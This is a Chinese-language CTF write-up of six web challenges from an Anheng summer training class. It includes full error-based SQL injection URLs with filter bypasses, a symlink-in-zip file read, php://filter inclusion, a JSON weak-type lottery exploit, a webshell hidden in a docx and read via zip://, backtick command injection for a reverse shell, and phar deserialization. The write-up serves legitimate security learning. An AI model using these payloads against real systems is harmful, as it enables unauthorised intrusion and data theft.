Background
暑假报了这个安恒web暑假班的闯关班,想看一下自己到底可不可以,逼自己别做懒狗,也是想和赵总学一点新的知识,很幸运,最后成为两位闯关成功当中的一员,暑假的final题很不错,来写一篇writeup
Admin
题目难度:简单
知识点:弱口令/软连接
首先看到登录框肯定想到的是弱口令/万能密码,如果都不是,看看注释有没有其他提示
登录成功的管理员界面是一个上传页面
提示是上传一个压缩包,然后给出了flag路径
猜测他应该是将压缩包进行解压读取信息,我尝试写了一个 cat/flag 的文档,然后将它压缩传入
可以看到他成功读入
那我们的思路很明确,利用软连接将flag进行路径进行索引,将它压缩,在网站解压时进行读取
思路明确构造即可
ln -s /etc/flag t4rn
zip -y 1.zip t4rn
上传1.zip
get flag
Wrong sql
题目难度:
知识点:爆错注入,常见的过滤绕过
提示注册,先注册一个账号
发现有个show
打开一看 注入点有了
然后就是用burp进行简单的fuzz
ban掉空格->括号嵌套/内联注释
ban掉注释符(# --+)->自己单引号闭合
ban掉select小写1——>大写
ban掉updatexml->extarctvalue
因为报错注入限制只能读取32位,所以要用substr字符串截取
payload如下
获取数据库信息
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e)))and%271
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,substr((select(group_concat(schema_name))from(information_schema.schemata)),50),0x7e)))and%271
获取表
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=%27z3333333%27),0x7e)))and%271
获取字段
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=%273333333z%27),0x7e)))and%271
获取flag(两次拼凑)
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(fl4gbest)from(z3333333.3333333z)),0x7e)))and%271
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,substr((select(fl4gbest)from(z3333333.3333333z)),10),0x7e)))and%271
Ez sql
题目难度:一般
知识点:文件包含,正则回溯
首先注意到url有包含位点
http://das.wetolink.com:44006/file.php?file=php://filter/read=convert.base64-encode/resource=list
直接包含主页
取出关键代码
<p class="lead">
<?php include("sql.php")?>
</p>
</div>
包含sql.php
<?php
error_reporting(0);
include("config.php");
$id=isset($_POST['id']) ? $_POST['id'] : 1;
if(preg_match('/UNION.+?SELECT|\/\*.*\*\/|sleep|and|if|&&|\|\||\^|%|ascii|mid|left|greatest|least|substr|=|-|<|>|benchmark|like|in|between|regexp/is', $id)) {
die('SQL Injection');
}
mysqli_query($conn,"set names utf8");
$sql="select * from `ctf` where id ='".$id."'";
$result=mysqli_query($conn,$sql);
$row=mysqli_fetch_row($result);
if($id==1)
{
echo "<img src='./img/1.png'><br>";
}
else if($id==2)
{
echo"<img src='./img/2.jpg'><br>";
}
else if($id==3)
{
echo"<img src='./img/3.jpg'><br>";
}
else
{
echo "what do you do?";
}
echo " <p class=\"lead\">
{$row[1]}
</p>
<p class=\"lead\">
{$row[2]}
</p>
"
?>
经典的正则回溯,参考学习链接:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html。
然后就是常规注入步骤
彩票中心
题目难度:较难
知识点:php弱类型,文件包含
首先注册过后给你20块
买彩票搏一搏能拿到hint的钱或者是flag的钱
随便输入七位数字在那里抓包
可以看到是以json格式上传的
猜测这里可能存在弱类型比较的问题,如果number传入数组的话,可能会造成弱类型比较
我写一小demo测试一下
可以看到是可以的
我写的是
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
赵总的方法是
{"action":"buy","numbers":{"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true}}
差不多,不出现0就能中奖
我手动发包
这里的钱不能达到买flag,规定只能买hint
但是买hint这里的js有点小问题
那就在控制台里手工发包
$.ajax({
method: "POST",
url: "api.php",
dataType: "json",
contentType: "application/json",
data: JSON.stringify({ action: "hint" })
}).done(function(resp){
})
给出了管理员的账号密码
登录一下试试
发现多了个上传功能
fuzz了一下发现只能上传docx
这里面关键的点就在这里
docx的本质是压缩文件
解压可以得到这些文件,那么思路来了,php中伪协议zip://,如果我们能找到一个包含位点(这里面有一个page),然后通过zip伪协议解压出来我们隐藏在docx里面的一句话,就可以get flag了
按照思路进行
压缩一下
上传,直接按照伪协议读取
然后就是直接查flag即可
Sshop
题目难度:较难
知识点:源码泄漏,代码审计,命令执行
首先www.zip
下载源码下来看看
审计发现关键点
这里可能存在命令执行,用了高危的os.popen
就想办法控制一下用户头像地址。在头像上传处 sshop/views/Module.py 可以控制
可以看到这里同时过滤了很多东西,这里面发现没有过滤反引号,linux下的反引号可以进行命令执行
那我们的思路就是反弹个shell,先上传一个图片,里面含有bash命令,然后bash调用那个文件反弹 shell 试试。
上传a.png
然后我们看一下他上传的目录,分析一下代码
那我们再上传一个如下的就可以了
abash sshop/views/upload/a.png
.png
然后拿到shell cat flag
UploadAvatar
难度:较难
知识点:phar反序列化,代码审计,变量覆盖
简单进行代码审计,找到flag的核心是
if($res['username']===$this->username && $res['password']===md5($this->password)){
include 'flag.php';
这段代码,当用户名的账号密码和数据库中的一样,就可以成功包含进来flag.php
这里漏洞利用的关键点有两个
首先,我们可以发现,他这个原本是要运行在沙箱里
parse_str(@$_SERVER['QUERY_STRING']);
$sandBox = $_SERVER['REMOTE_ADDR'];
但是有parse_str可以进行变量覆盖
其次是
if(!file_exists($sandBox.'/pic.jpg')){
echo '<h1>赶紧给自己传一个屌炸天的头像啊!!</h1>';
}else{
echo "<img src='".$sandBox.'/pic.jpg'."'/>";
}
这里面用了文件操作函数,可以进行phar反序列化,然后代码给出了个上传位点
那么攻击路径如下:攻击路径已经明晰,通过文件上传点上传一个 phar 文件,然后通过文件操作函数 file_exist 的可控参数触发 phar进行反序列化,反序列化 User 类时会触发 __wakeup,通过控制其属性让其连接到我们自己搭建的数据库读取到我们自己放进去的数据,比对通过拿到 flag。
首先用docker创建一个mysql服务器
docker run —name mysql5.7 -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7
docker exec -it 容器 bash
mysql -u root -p
create database ctf;
use ctf;
create table user(
id int(11) primary key auto_increment,
username varchar(256),
password varchar(256)
);
insert into user values(1,'admin',md5('12345678'));
然后就是写phar文件
将action调至profile模式
然后auth查看一下沙箱地址
如上构造即可get flag
Final
我的安恒暑期班就此结束了,认识了一些很棒的人,然后自己也变得强了一些了,希望明年安恒实习能再见
寒假我也想报一个安恒的寒假班,但我不知道怎么报名,所以我想请教一下大哥你怎么报的
安恒好像就办了一届